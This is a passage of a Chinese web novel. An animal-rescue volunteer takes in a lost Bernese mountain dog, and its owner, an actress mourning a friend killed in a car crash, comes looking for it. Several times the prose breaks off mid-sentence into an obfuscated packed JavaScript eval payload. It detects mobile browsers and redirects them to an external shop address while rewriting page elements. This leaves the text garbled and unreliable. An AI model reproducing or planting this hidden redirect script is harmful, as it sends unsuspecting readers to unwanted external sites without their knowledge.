《淡绿柔烈》 1. 一猪失踪 春夜,一辆满载猫猫狗狗的货车在公路被拦截。 林岁安接到消息,从被窝里爬起来,迅速换好衣服,第一时间开车前往现场。 “岁安,你出发了吗。”宠物医生秦筝给她打来了电话。 “在路上了。” “我也出发了,他们说应该是有四百多只猫狗,被志愿者举报拦截,应该是要从榆城送到隔壁省的狗肉馆。” “都是偷来的吗。”林岁安强打起精神,她极少熬夜,有点后悔刚刚出门前没带两块薄荷糖。 “是的!偷来的居多,很多猫脖子上都有项圈,气死我了,主人肯定急疯了。” “这么多猫狗,在走领养程序之前都要送去医院检查和治疗,你那边ok吗。” “先去现场看一下情况,把问题严重需要住院的猫狗直接带去宠物医院,剩下的慢慢来。” 林岁安到达临时安放猫狗笼子的郊区仓库时,秦筝和其他动物救助中心的志愿者们已经在忙碌了。 在榆城的小动物爱心救助志愿者之中,林岁安只跟秦筝比较熟。 秦筝穿着一套性感的黑色紧身短裙,眼妆很闪,背了个只能放下一支口红的小包包,一双大长腿在夜色下格外显眼,她冲林岁安挥了挥手:“我本来在夜店玩儿得正嗨,来不及换衣服就赶紧过来了。” 她把其中一只睁不开眼的猫交给林岁安处理,林岁安戴上防抓咬手套,熟练地给猫滴了眼药水。 这猫被吓得有些应激,林岁安从口袋里掏出费利威喷在自己身上。 “现在需要一些多余的笼子,这无良肉贩子把十几只猫塞进一个笼子里,密度太大。” “我家倒是有一些笼子,消过毒的,可以做到一猫一笼。”林岁安计算着家里的空笼子。 “你可以暂时收留多少只?” “最多三十只。”林岁安说。 “现在还不能开放领养,要优先寻找原主人,所以这一收留就是一两个月起步,你那边没关系吗,会不会影响你做生意。”秦筝有些担心地问她。 林岁安年纪轻轻就过上了一步到位的养老生活。 她在山脚下买了个小院儿,开了一家猫狗寄养中心。 她的业务很简单,帮出远门的养狗人照看小狗。山下风景秀丽,人烟稀少,有湖泊有草坪,小狗可以在这里自由玩耍。 在节假日期间,她的生意格外好,甚至需要提前预约才有空犬舍。犬舍有监控,林岁安这人照料猫狗一直都认真负责,白天分批次带着这群小狗在林间小路奔跑,这工作做起来可谓是神清气爽,没有复杂的人际关系,不用看人脸色,赚的不多不少,养自己正好,还能攒出一部分闲钱来做小动物救助。 两人忙碌之时,一辆丰田埃尔法停在路边,车门打开,倪杉踩着一双红底高跟鞋下车,第一反应就是被猫狗的排泄物气味熏得捂住了鼻子。 好臭。 自从村上一猪走丢之后,倪杉就加了很多榆城的小动物救助群,一猪别的没有,就是肉多,被人抓到后凶多吉少,大概率会被卖掉吃肉。 所以养孩子不能养得太胖,要懂得控制体重,大家知道了吗。 不少猫狗主人都纷纷开车赶来找自己丢失的宝贝,倪杉在人群中格外显眼,她穿着高跟鞋和一袭红色长礼裙,深棕色的长卷发披散开来,一对红宝石耳环在夜色下闪闪发光。不像是来找孩子的,像是来走红毯的。 今天这身裙子是她在网上花小几千块钱买的,来自一家小众礼服品牌,愣是被她穿出了一种很大牌的气质。电影发布会一结束她还来不及换衣服,就收到榆城猫狗交流群里发来的消息,说是有一车猫狗被拦截,现在正在紧急寻找主人,没有主人的孩子会被送去救助站重新找领养。 怀抱着一丝希望,她连夜坐车从京市赶回了榆城。 倪杉的小狗狗村上一猪已经失踪7天了。 一猪是一只成年伯恩山犬,体型很大,像一头小黑熊,看着吓人却胆小如鼠。倪杉的视线在仓库里扫了一圈,就知道自己这次又跑空了。 没有。 一猪不在这里。 这些猫狗都密密麻麻地被塞进鸡笼子里,一猪那个大体格子根本进不去。 她的心不由得沉了沉。 这已经是她第三次跑空了,失踪时间越久,找回来的希望就越渺小。她之前甚至在网上发了悬赏公告,在榆城,养伯恩山犬的人家用一只手就能数过来,虽然找到后的酬谢金额有八万元,有用的信息始终都没有,骚扰电话倒是没完没了。 她叹了口气,转身要离开,却被一旁的女孩拉住了手腕。 “姐姐,你也是来找狗的吗。”志愿者妹妹小心翼翼地问她。 “是,可惜这里没有我的狗。”倪杉皱着眉头说。 “那您家有没有空闲的房间,能不能暂时帮忙收留几只小狗?我们救助站已经没有空位了……”志愿者妹妹看这位姐姐的穿着打扮不同凡响,一看就是有钱人,家里应该条件很好。 救助站的条件太艰苦,猫狗很密集,最好能把这次救下的猫狗分散出去再慢慢找领养。 “当然不行。” 倪杉拒绝得很干脆,什么东西?当我家是收容所吗。 林岁安正在一旁忙着给一只小狗处理伤口,随口问了她一句:“你养的是什么名贵猫狗啊,你确定这几百只猫狗里没有你家孩子吗。” 她看见倪杉一共在这里呆了不到五分钟,也没有认真在笼子里寻找猫狗。 真是个奇怪的人。 林岁安身后的笼子里,光是边牧就有六只,另一个笼子里还挤着八九只柴犬,还有一只被剃了毛的萨摩耶。 这只萨摩耶脾气大得很,一看就是被主人养得很娇惯,林岁安特意给它拍了照,群发出去试试能不能找到主人。 倪杉冷哼一声,懒得回答她的问题,踩着高跟鞋从她面前走过,头也不回地离开。 “真傲慢。” “有钱人都这样吧。” “我感觉我好像在电视上见过她。” “是明星吗?” “什么明星,就是一个普通演员,在一个电视剧里演我女儿的恶毒后妈。”这位志愿者妹妹是妈粉,一直都管她喜欢的演员叫女儿。 “你别说,她这副做派还挺适合演后妈的。” “别聊了,快点干活。” 林岁安一言不发地忙碌着,她们聊的内容她丝毫不关心。哪怕是当红女演员许期欢从她面前走过,她都不会多看一眼。 她只对眼前这些猫猫狗狗感兴趣。 “姐。怎么样,没找到吗。” 看见倪杉这么快就从仓库回来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299282|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助理知道,这次又扑了个空。 “没有。太晚了,送我回家吧。寻狗启事那边有消息吗。” 倪杉上了车,关上车门车窗,把外面那股臭味儿隔绝掉。 “没有,我接了好几个,都是骚扰电话,有用的信息一点没有,都在问悬赏金是真的吗。”助理一边开车,一边无奈地摇摇头。 “唉。” 倪杉叹了口气,靠在椅子上,闭上眼睛却怎么都睡不着,满满的担心。 一猪体型壮大,市区社区都容不下这样的大型犬,禁止饲养。 倪杉在半个月前特意带着一猪从京市搬来了榆城,在山下租了一套带院子的小别墅,只有在这里,她才能带一猪正常出门散步。 这地方唯一的缺点属于荒郊野岭,人烟稀少,平时只有极少数登山爱好者和钓鱼爱好者出没,没想到搬过来没几天,一猪就自己跑出院门,不知是进山了还是进了市区,跑得猪影无踪。 唉。 “姐,咱明天一早还要飞广城,有个品牌活动,今晚最好还是回京市住酒店吧。”助理一边开车,一边提醒了她。 “对哦,我都忙忘了。” 倪杉看着窗外漆黑的夜景,有些愧疚地说: “辛苦你了,又跟着我白跑一趟。” “应该的,姐,我是你助理。” “对了姐,后座的袋子里有小儿退热贴,等下到了酒店,我再给你叫个退烧药,紧急抢救一下。” 倪杉今天下午出席发布会活动时就在发烧,她觉得脑袋晕晕乎乎,跟随其他演员强撑着走完流程,又收到截获猫车的消息,来不及休息就赶回了榆城。 她把手放在自己的额头上,用手背试试温度,感觉比下午还要严重些。 她撕开一袋退热贴,一边撕掉塑料膜,一边问助理: “桑桑,你跟了我几年了?” “五年了。” “五年?” 倪杉拿出手机,看着今天白天在市区拍到的盛放的山桃花。 又是一年春天,时间过得真快。 “后天就是白色情人节了,姐,蛋糕我帮你订好了,那天正好没通告,您可以去忙自己的事。” “谢谢。不过………今年就算了吧,找不到狗,我没办法去见她。” 她该如何去青羽山公墓把这件事告诉她呢。 对不起。 怎么办,曾沐。我把你留在世上的小狗弄丢了。 林岁安这一忙就忙到了后半夜,凌晨四点,所有猫狗都被分散地转运到榆城的动物医院,林岁安坐在医院门口的台阶上,身上的衣服已经脏得不能看。 她在众多品种猫狗里选了几只瘦弱的中华田园猫和小土狗,让秦筝帮忙给它们做个简单的体检。 这些猫狗都不怎么漂亮,脖子上也没有项圈,应该没主人,未来在领养上也有难度。 至于其它容易被领养的品种狗,林岁安交给了一起救助小动物的朋友秦筝。 秦筝在市里和朋友合伙开了一家宠物医院,客流量大,这些品种猫狗的照片挂出去,幸运的话能找到主人,就算找不到也不愁领养。 林岁安开着车,载着新鲜猫狗,伴着日出回家,恍惚间,脑海里闪过一抹红色的身影。 不知道像她这样的人会养什么样的猫或狗呢。 2. 一猪闪现 林岁安回到家,把救助回来的猫狗隔离在一间小房间,一猫一笼。 她开了一袋羊奶粉,用羊奶粉泡了猫粮,做了好几碗,喂饱了每一只猫猫狗狗。 林岁安一直忙到天亮,拖着疲倦的身体去洗澡。这个时间,她的自留犬大黄不在家,应该还在外面浪。 大黄是她在路边捡回的小土狗,捡到的时候奄奄一息,满嘴是血,她还以为活不下来,经过一番免费的救治和照料,现如今已经是一条威风凛凛的大土狗了。 大黄极聪明,很认主人,还认识这附近所有的路,林岁安本想给它找领养,又怕这么聪明的小狗在背地里会偷偷伤心,于是就自己留在了身边。 她给大黄戴了项圈,项圈里有定位器。 大黄在天还没亮时就自己出门进山散步,顺便还从山里捡了一只狗。 这狗看着有点傻,不是太聪明,大黄遇到它的时候,它正在吃露营的旅客留下的垃圾袋。 ………是不是傻?那塑料袋能吃吗。 到底是纯种狗,在智力上绝对有那个大病。 大黄沿着山路把这大傻子狗带回家,想带它吃点狗该吃的东西,林岁安没睡几小时就被院子里的动静吵醒。 怎么有拆家的声音?大黄狗品很好,从来不拆家,该不会是进小偷了吧。 她惴惴不安地起身,从二楼卧室小跑着下来,就看到一只把小院儿围栏撞翻的大狗熊。 这狗不走正门,非要翻栏杆,大黄在一旁一脸尴尬地看着林岁安。 林岁安一脸震惊地看着大狗熊,大狗熊表情茫然地看着她,硕大一只,很惊恐地躲在大黄娇小的身躯之后。 “不是,这谁啊?” 林岁安冲着一脸谄媚的大黄问道: “这是哪儿来的惊天大胖狗?” 这大胖狗脏兮兮的,毛都打绺了,还有点臭。 保守估计应该有一百多斤。 “你怎么什么狗都往家里带啊,这种狗,不好,会把咱们家,吃穷的,懂吗。” 林岁安语重心长地对大黄说: “不信你看。” 林岁安试探性地盛出一碗狗粮,大狗熊迫不及待地跑过去,一口气全吃了。 看来是饿惨了。 大黄凑过去,用脑袋蹭蹭林岁安,示意她再给这大傻狗喂点饭。 给点面子,这货以后就是我小弟了。 “你要干啥,你要养它啊。”林岁安问大黄。 大黄不语,只是一个劲儿地摇尾巴。 “这种狗是很名贵的犬种,肯定是有主人的,咱们养不了,懂吗。你等我把它洗白白然后拍照挂出去,然后收它主人一大笔收留照看费,你就有罐头吃啦。” 大黄之前经常从山上捡迷路的小刺猬和小猫回家,林岁安把小刺猬送回山上,小猫留着慢慢找领养,找不到就自己留着养。她这人很随性,觉得大概是因为谁养的狗像谁,所以大黄才不停地从外面捡这些小动物回家。 伯恩山吃饱喝足后张个大嘴呼哧呼哧喘气,林岁安不小心呼吸了一下,差点被熏晕。 好臭。要死。 她赶紧拖着狗往家走,这狗死沉死沉的,绝对有二百斤。 林岁安简单粗暴地把狗洗了,还给狗刷了牙。她这里本来就是做猫狗寄养生意,洗护美容设备齐全,只是往常这种体格子的狗她都是要按超级大胖狗收费的。 林岁安一边洗一边骂,同时在伯恩山身上发现了好几处外伤,这些伤口都需要上药,她不由得叹了口气。 她那房间里还有一堆猫猫狗狗需要照顾,现在又来了个伯恩山,好头疼。 伯恩山在洗澡、吹干的过程中很配合,看样子在成长过程中经常去宠物洗护店,应该是个被主人精心呵护的孩子。 “你是从市区跑来的还是这附近的?怎么会自己跑到山里去?你爸爸妈妈肯定急死了吧。” 在这个家里吃了几顿饭,伯恩山犬很快就跟在林岁安身后屁颠颠跑了起来,好像已经把林岁安当主人了。 大黄比较独立,很少粘着林岁安,大多数时间都喜欢一个狗呆着。 家里的猫猫也很独立,都是一些很像猫的猫,林岁安比较欣赏有戒备心的、淡漠自由的小动物。 林岁安摸摸伯恩山犬的大狗头,和家里的其他小动物相比,她越发觉得它像个智力低下没心没肺的小孩子。 她给自己煮了面,简单吃饱饭,就去小房间看看昨天晚上带回来的小朋友们。 有几只小猫睡得正熟,她拿出手机,隔着笼子给它们拍了几张照片,然后编辑了一段文字: “榆城救助的流浪猫狗找领养啦,有意向的朋友可以加我微信了解详情,各个软萌可爱,先到先得。” 她又给一旁笼子里的田园小狗拍了几个视频,一不留神,身后的伯恩山超绝不经意地撞了她一下,力量超大,林岁安眼睁睁看着自己的手机飞了出去: “啊,我的,我的二手新手机!”林岁安心痛地跑过去,捡起手机,果然,屏幕裂了。 伯恩山一脸开朗地坐在一旁,摇着尾巴看着她。 “你肯定是被遗弃的。” “就你这个行事准则和做事风格,这么没素质,谁能忍得了你。” 林岁安气呼呼地给秦筝打电话: “喂,秦筝,你今天下班先别走。” “我这儿有个大型犬,我想带它去你们医院做个体检,顺便找主人。” “什么狗啊,哪儿来的?”秦筝正忙着给一只柴犬接诊,一边开药,一边接电话。 “伯恩山,大黄从山里捡的,我真服了。” “伯恩山?那不行,我们医院没有那么大的笼子,做完检查你得把狗带回去。” “你那边有看到什么寻狗启事吗,这种狗很独特,饲养的人很少,应该很好找主人。” 林岁安实在是急着脱手,她门外的护栏都被这狗给撞坏了,等下还要修。 家里也没有伯恩山能住下的大笼子,她怕这狗再多待一晚上,这个家就要被拆了。 “我的祖宗,我这边每天都要看几千几百条寻猫寻狗的信息,哪记得住啊。”秦筝太忙了,话没说完就挂了电话。 伯恩山。 总觉得有点耳熟,她隐约记得好像听小护士们谈论过,具体谈了什么已经不记得了。 品牌活动结束,倪杉换好衣服,在后台翻看手机。 宠物救助群里每天都有几千条消息,有找主人的猫狗照片,还有找领养的猫狗信息,她看得眼花缭乱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299283|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一猪的寻狗启事早就被这些消息所覆盖,顶得不见踪影,倪杉焦躁地按灭手机,靠着椅背闭上眼睛休息。 她几乎一夜没睡,刚到京市没多久就又去赶早上七点的飞机。早餐吃不下,午餐没胃口,迫于桑桑的压力,她在出席活动之前象征性地喝了几口粥。 “姐,等活动结束,要不要去医院看看。” “不用,就是感冒而已,过两天自己就能好。今天有接到有用的电话吗。” “没有。” 助理半跪在倪杉面前,把一双倪杉常穿的平底鞋放在她脚边,倪杉踢掉高跟鞋,换上自己的鞋子。她觉得自己的意识好像被泡在漆黑的水里,深不见底。 “我的……我的东西呢。”她抬起头,茫然地看着桑桑。 “什么找不到了?”桑桑问她。 “我的包。还有,我的手机。”刚刚还在眼前呢,一转身就全没了。 “手机就在你身后的沙发上。” 桑桑一边提醒她,一边帮她的包从品牌借穿的衣服堆里翻找出来,递给了她。 倪杉的包不是什么奢侈品牌的包包,而是在网上一家平价店铺买的,样式简单,结实耐用。 “你可真是太厉害了,没有你我该怎么办。” 两人从商场后门出来,准备坐网约车去机场。倪杉在上车前,回头看了一眼商场门口挂着的巨大海报。 这是一家知名珠宝品牌名,只和一线明星合作,倪杉这种十八线不知名小艺人碰不着这样好的资源。 助理站在她身边,她知道,倪杉不是羡慕海报上的女明星,而是想起了故人。 五年前,曾沐代言了这家珠宝,她的海报就挂在同样的地方。 曾沐代言了这家珠宝,第一时间就送了一对金镯子给倪杉。 倪杉当时觉得太贵重,死活不肯收。 早知道那是曾沐最后一次送她礼物,她一定会收下。 “姐,该上车了。” 倪杉点点头,又回头看了一眼海报上的代言人。 这位女艺人跟她和曾沐同期出道,在群演中摸爬滚打,也算是年轻时期一起奋斗过的老熟人了。 名利场里排名第一的就是名气,和其她杀红了眼的女明星相比,倪杉是个没什么事业心的异类。 她签了个不温不火的小公司,拍一些无人知晓的剧集,就这么浑浑噩噩地浪费了女演员的黄金生命期。 曾沐是最早说她不够努力的,倪杉当时不满地反驳说:“要那么红做什么,为什么要被那么多不重要的人喜欢,那些奖项那些关注,我不稀罕的。” “那没事啊,我努力就够了,你等我成为最顶尖的女明星,有什么项目都带着你,你跟着我就行了。”曾沐当时凭借着一部宫斗剧爆火,一夜间被所有人熟知。 “说得也是,那我就等着了。”倪杉是相信曾沐的,她和曾沐之间有着百分百的真诚。 倪杉没能赶上飞机。 广城忽然开始下暴雨,雷电交加,航班大面积延误。 她坐在机场的休息室里,拿出手机看了一眼榆城的天气。还好是晴天,没有下雨。 一猪那个笨蛋,以前一直都和她生活在室内,从未有过流浪经验,下雨都不知道要怎么躲雨。 3. 年纪轻轻就走了 这么一耽搁,倪杉晚了一天才飞回京市。 她在京市的公寓已经退了,为了一猪,她搬去离京市不算远的榆城。榆城没有机场,只有车站。 犹豫许久,她还是买了些东西,拎着蛋糕,打车去了青羽山公墓。 白色情人节,京市的天空灰蒙蒙,沉得像吸饱了水的脏海绵。 倪杉穿了一件黑色风衣,当初参加葬礼的时候,她就穿着这件风衣。她没能见到曾沐最后一眼,曾沐的身体无法复原,所谓的葬礼也只是简单的火化仪式。 “姑娘,你是去看父母吗?”司机一边开车,一边和她搭话。 “这公墓可贵了,有钱人的骨灰才能被埋在这儿。” “不是父母。” “哟,不是父母?” “我是……去看朋友的。”倪杉看着透明盒里的蛋糕,用手指摩挲着盒子顶端的蝴蝶结。 这款蛋糕五年前还有得卖,现如今店里早就下架了,需要提前预定。倪杉每年都让助理提前一周时间帮忙预定,然后把蛋糕带到曾沐的墓碑前。 “我看你年纪不大,你朋友应该年纪跟你差不多,怎么这么年轻就走了。”司机唏嘘地说。 “嗯,意外,车祸。她还比我小一岁呢。” “哎哟,你看看,这么年轻就走了。” 倪杉看着窗外闪过的风景,五年过去,她过得恍惚又迷茫。曾沐离开了,曾沐把她一个人留在这样残忍又孤独的人世间,甚至都没来得及告别。 到了墓园,倪杉下车,一步步往熟悉的方向走去,眼神扫过墓碑上的一张张照片。 在曾沐离开后,她发现原来很多人都年纪轻轻就走了,有小孩儿,有年轻人,有意外,有伤病。 第一年,她十分痛恨这个地方,第二年,她开始对被埋在这里的其他人感到好奇,再后来,她被迫接受了曾沐永远离开的事实,内心中淤积的那股怨气和丧气彻底爆发。 她这个人很慢热,总是在事情发生很久之后才感觉到疼。她就这样拖着残疾的生命在人世间晃悠了好久,忽然在某个午后发现自己的心口缺了好大一块,这才惊慌失措地被这份难以改变的事实所疼哭。 走了一段路,又上了几层台阶,就看到了曾沐的墓碑。 她弯下腰,和她打招呼: “hello啊,我来看你啦。你在那边过得怎么样,我们的大明星。” 照片上的曾沐面带微笑,是她最自然最温柔的样子。 “唉。我就说我好像忘了点什么,原来是忘了买花。” 倪杉看到隔壁墓碑前摆着一捧枯萎的菊花。 她从来没给曾沐送过这种不吉利的花,每次都很坚持地给她送风铃花。 今年忘了,等下个月补上吧。 “唉。我有点后悔了,当初不应该把你安置在这个倒霉城市。你应该会更喜欢南方,那边的山里一年四季都开花。” “你说,我怎么这么多年一点长进都没有,还是那么愚钝,迟钝,什么事都做不好。” 倪杉蹲在墓碑前,盯着自己的鞋尖愣神。 山上禁止明火,她只能回榆城的小院儿给曾沐烧点儿纸钱。 “那个,有个事儿我得和你说一下。一猪最近走丢了。我一直在找,找了好多天,怎么都找不到。” 倪杉说着,深深叹了口气。 “它应该,没去找你吧。” “你要是在那边见到它,记得托个梦跟我说一声,不然我总要担心它。它智力低下,从小娇生惯养,不是那种会自己从垃圾桶找食物的狗,胆子小,特别容易相信坏人。” “我不是故意把它弄丢的,你别怪我。找不到我也会一直找下去,希望能有好消息。” 倪杉蹲得有点累,她干脆坐在地上,把一旁的蛋糕放在墓碑前,一点点拆开。 “好啦,你看,我给你带了你之前最喜欢的蛋糕,现在已经不流行这种风格的蛋糕了,她们现在都是吃那种很漂亮的翻糖蛋糕。” 倪杉把两支蜡烛插在蛋糕上,四处看看,迅速从风衣口袋里掏出打火机,点燃了蜡烛。 祝你,三十岁生日快乐。 也祝我,三十一岁生日快乐。 “我跟你说,我现在还在做演员呢。大的项目还是没有,小的拍摄项目倒是有挺多,都是演同一个类型的角色,坏女人,恶毒后妈,反派,养活自己和小工作室不成问题。” “要是你还在就好了,你知道吗,之前跟咱俩一起演小丫鬟的那个李雾,现在是金娇珠宝的代言人了。也挺厉害的哈,她也三十多岁,竟然还能走红。估计她早就把我俩忘了吧,要是有什么活动能遇到,她估计都不会认出我。” 倪杉用勺子吃了两口蛋糕,皱起了眉头: “这蛋糕味道好像和以前不一样了,不太好吃,咱俩都别吃了。” 倪杉就这么坐在曾沐的墓碑前,在墓园和她聊了一整天。 许多话只能跟曾沐说,曾沐还在的时候,她就是倪杉在这个世界上唯一能说话的人,曾沐走了,倪杉抛出去的话语再也不会有回应。 日落之后,气温骤降,倪杉叹了口气,站起身,揉着发麻的双腿,和曾沐告别。 在墓园门口每次打车都要加钱,倪杉加了一百块小费,很快就有人接单,她静静站在路边等车。 她用手背试了试自己额头的温度,在墓园吹了风,又絮絮叨叨地说了一天话,像是把自己这辈子要说的话都说完了。她觉得浑身发冷,一点力气都没有,猜测自己感冒又加重了。 要不今天就不急着回榆城了,在京市的酒店住一晚算了。 她好累。 回到酒店已经快晚上九点,倪杉只剩百分之四的电量。 她紧急给手机插上充电线,想起以前曾沐就为这个事情说过她好多次。曾沐是典型的电量焦虑型人格,手机还剩百分之六十多的电她就急着要去充电。 忽然,她注意到榆城宠物救助群里有一个艾特信息提示。 倪杉点进去,就看到了一猪的照片。 一猪在宠物医院做体检,称体重,要三四个医生一起协助才能完成。它特别害怕那个体重秤,总觉得在场的所有人都要害它。 倪杉有点激动地往下翻看消息: 小刘护士:“是你之前在找的伯恩山吗?今天宠物医院来了个伯恩山,也是捡的,不知道是不是你的?” 坚强坏女人:“是的,应该是。谁捡到的?” 小刘护士一边在群里艾特了另一个人,一边重新发了一遍倪杉之前的重金求狗公告,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299284|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面写着一行血红的大字:如果找到,酬谢金额八万。 捡到狗的人叫岁岁平安,头像是一把柚子叶。 这种年代感十足的名字这种丑头像,一看就是个上了年纪的人。 倪杉紧急加了她的微信,在申请留言里写道:你好,我是伯恩山的主人,是你捡到了我的狗吗。 倪杉就这么一边等消息,一边睡了过去。 第二天上午,她才收到好友通过的消息。 岁岁平安简单粗暴开门见山:“怎么证明这是你的狗。” 倪杉打开手机相册,发了个截图过去。 她的相册里几乎全是一猪的照片,从小到大,每年三月,她都会抱着一猪拍几张合照。一猪从一只小奶狗变成一头大狗熊,她也依旧能把它抱起来。 坚强坏女人:“我想和你见一面,我的狗见到我就会认出我。” 岁岁平安话不多说,给她发来了地址,倪杉看着地址愣了半晌,给她发了个问号。 坚强坏女人:“你怎么知道我家地址?” 岁岁平安:“这是我家。” 某些人的占有欲能不能不要这么强啊,狗是你的,我家也是的你? 倪杉仔细看了一眼地址,松谷山下你和我小区,只是楼号不一样。原来一猪这个笨蛋根本就没跑出小区吗。 小区都是独门独户的带院小别墅,说是别墅,租金却和在市区租一套小房子价格差不多。 坚强坏女人:“你是什么时候捡到我的狗的?” 坚强坏女人:“那我什么时候方便去你家接狗?” 坚强坏女人:“我的狗现在状态怎么样?还好吗。” 岁岁平安没有回复。 倪杉被她这种爱答不理的态度搞得很暴躁。 她自己坐在床上冷静了一会儿,让桑桑迅速订票回榆城。 “姐,你怎么了,是不是不舒服。”桑桑在车站看见她一直闷闷不乐,还以为她是因为感冒难受。 “一猪好像找到了。”倪杉说。 “啊,有人找到了吗?在哪儿找到的?”桑桑瞬间眼睛一亮。 这可真是太好了。自从一猪走丢之后,重金求狗的传单上留的是她的手机号。她每天要接三百多个骚扰电话,苦不堪言。 “就在我住的小区。”倪杉苦笑着说。这就是养一个傻孩子的好处,它甚至都没有能力离开妈妈一个狗去更远的地方。 “那你为什么不高兴?” “我感觉对方态度很冷漠,好像不是很好说话的样子。我觉得………她可能不想把一猪还给我。” “怎么能这样!一猪是身价很贵的狗,她如果不愿意还你,我们就报警!” “希望是我想多了。”倪杉叹了口气,她摘下口罩喝了一点热水。一晚上过去,感冒不仅没好起来,嗓子还哑了。 “姐,你听我一句劝,回去之后最好还是去医院看看。”桑桑不放心地看着她叮嘱道。倪杉这次感冒了太久,照道理也该好了。 桑桑的出租屋还没到期,她依旧住在京市。她给倪杉买了回榆城的车票,自己等下还要坐地铁回家。 “你怕我死啊。” 倪杉挑眉,对着她笑了笑。 “放心吧,我死不了。我还有狗呢。” 4. 一头撞晕 岁岁平安总觉得这个坚强坏女人有很大问题。 首先,哪个好人会给自己取名叫坚强坏女人。 一般心地善良品德高尚的人会给自己取名叫进店玩猫。 其次,坚强坏女人的头像是一只扛着大炮筒的小猫。 一个养伯恩山的人会用小猫做头像吗,为什么不用自己的小狗照片做头像呢。 扛着这么大的炮是要轰死谁。 林岁安放下手机,觉得自己大概率是遇见了猫狗贩子,想把这只伯恩山骗走。 以防万一,她还是留了地址,打算会会这个坏女人。 倪杉打车回到小区,来不及放下东西,就按照对方给的门牌号开始寻找。 这小区居住的人不多,几乎都是民宿。只有节假日期间会热闹一些,其余时间都冷冷清清。 倪杉在自己家门口停下了脚步。 这不是巧了吗。 一猪掠夺者的地址竟然就在她家对面。 倪杉把行李直接推进院子里,转身就去按响门铃。 林岁安正在美美享用午餐。 她一上午都在照料待领养的猫猫狗狗,现在终于有时间坐下来吃点东西休息一下。 门铃声响个没完,她吃掉最后一口米饭,放下筷子,大摇大摆地走出家门,就看到院门口站着的一袭黑衣的女人。 她眯起眼睛,总觉得这人有点眼熟。 “你好,我之前和你联系过。我来接我的狗回家。” 倪杉摘下墨镜,抱着手臂,也在打量着林岁安。 原来是个小姑娘啊,看着也就二十岁左右的样子。 这个年纪的女孩即使不化妆也很漂亮,哪怕穿着最简单的衣服,都挡不住身上那股美丽和朝气。 “就是你捡了我的狗,对吧。”见对方迟迟不说话,倪杉和她确认道。该不会是找错门了吧 “你就是伯恩山犬的主人?” 林岁安终于开口了: “你这个狗啊,真的很没有素质,不像是被主人好好教育过的孩子。” 这话倪杉就不爱听了,很逆耳。 她朝房子里喊了一声: “一猪,妈妈的小宝贝,你在里面吗。” “他叫什么?”以防自己听错了,林岁安问道。 “村上一猪。”倪杉一本正经地说。 “还是个四个字的名字呢。” “那咋了。” 倪杉今天状态不好,没力气和她吵架。重感冒加上没睡好,她现在看上去苍白憔悴,让林岁安很难把那天晚上在仓库见到的光鲜亮丽女明星和眼前的人联系起来。 林岁安往家里走去,倪杉也跟在她身后进了家门。 她一进客厅就傻了。 嗯……这是什么在年轻人中很流行的废土风装修风格吗。 没有贴壁纸也没有涂白墙,整个房子都是裸露的混凝土墙壁和地面。墙壁上安装了一排宠物店很常见的隔离笼子,看得出林岁安平时是做宠物生意的。 房子里没有沙发,没有地毯,所谓的沙发就是两张公园里常见的长椅。 这种长椅的获取方式除了去大街上偷,正常渠道应该买不到吧。 几只灵巧机敏的田园猫正蜷缩在长椅上睡觉,见到有陌生人到来,一点也不怕生,其中一只狸花猫好奇地凑近倪杉脚边,轻轻嗅闻她身上的味道。 这房子和倪杉家的格局一模一样,倪杉家的装修是原木风,温馨舒适又有格调,比较像人住的地方。她看了眼一旁掉色的铁皮桌子,以及放在上面的一次性餐盒,忍不住皱眉。 “你想要多少钱。”倪杉言简意赅地问林岁安。她现在心情不算好,想快点把这件事处理好然后回家休息。 “你找到狗为什么没有第一时间联系我,是不是想搞我心态,想把狗压在手里讹我一笔钱?”她继续质问道。 她笃定地认为林岁安是个讨口子。 这个生活环境,在家住跟在马路上流浪没区别。 “你可真有意思。你要这么说,这狗我还就不还了。”林岁安被她这种傲慢的态度给气到了。 我说姐姐,谁能知道那是你的狗啊。况且你以为你那是什么了不起的好狗吗。 你的狗很笨,不好。 “什么?” “我说,这狗我还就不还了。这狗是我们家大黄在山里捡的,它算是大黄的狗。” “而且它的腿和后背都受伤了,需要每天上药,你要想把狗带走,体检费洗澡费护理费你都要给我结一下。” 一猪似乎是听到妈妈的声音,在二楼的房间里拼命嗷嗷叫,闹着要出来。 林岁安往楼上去,打算放它出来,倪杉也紧跟在她身后。 门开了,林岁安迅速侧身,倪杉来不及反应,被一猪扑了个满怀,一百多斤的大狗从天而降,倪杉双手抱着狗,被巨大的冲击力顶得失去重心,连人带狗一起摔下楼梯。 事情发生得太突然,林岁安也是第一次见一猪这么激动,看来是遇到真主人了。 